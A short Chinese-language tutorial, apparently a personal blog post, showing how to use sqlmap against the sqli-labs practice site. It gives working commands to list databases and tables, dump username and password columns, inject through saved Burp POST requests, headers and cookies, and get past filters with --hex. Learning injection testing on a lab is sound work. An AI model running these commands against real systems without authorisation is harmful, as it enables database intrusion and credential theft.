首先这里给出一个比较基本的
sqlmap.py -u http://192.168.1.103/sqli/Less-1/?id=1 --dbs --batch
说明一下,一般来说“ - ”代表的是目标,“ – ”代表的是操作。
-u:目标url (ps:这里是get请求,所以目标url记得带上后面的参数,即?id=1)
–dbs:爆出全部数据库
–batch:全部使用默认选项
然后得到如图
然后我们想要爆出security里面的表
sqlmap.py -u http://192.168.1.103/sqli/Less-1/?id=1 -D security --tables --batch
-D database_name:选择的数据库
同理,爆出security下的users表中的全部列下
sqlmap.py -u http://192.168.1.103/sqli/Less-1/?id=1 -D security -T users --columns --batch
打印id,username,password列的值
sqlmap.py -u http://192.168.1.103/sqli/Less-1/?id=1 -D security -T users -C “id,username,password” --dump --batch
注意!一定要打双引号!单引号不行,虽然不打引号也可以,但是还是打双引号会好些!
–dump:打印全部
结果如图
–current-db:现在使用的数据库
–current-user:现在使用的用户
针对用bp抓包的post请求:
如图所示
然后把其内容复制到一个文本文档
sqlmap.py -r C:\Users\82466\Desktop\request.txt -p passwd --current-db
-p:注入的参数,这里一共有三个参数,分别是uname,passwd,submit
一般来说参数的选择都是自己看,也可以都试试,有些参数会进行过滤。
注:–technique E :使用的注入方法只使用基于报错的方法,我这里是为了节省时间,默认是使用五种方法。
这里如果要获取其他的信息,就像之前操作的一样就可以了
下面是另外一种方法,不使用bp直接提交post数据进行注入:
这里一定要打双引号!
如果要在referer或者其他的地方进行注入,那么就在后面加 *
首先还是和刚刚一样,先把bp的请求包放到文本文档里面,然后再加上一个 *
然后就按刚刚的方法read本地文件就可以了
关于
–level:默认是1,默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
关于绕过 去除空格 单引号 双引号
使用–hex
本文系作者原创,若有错误恳请斧正,不胜感激。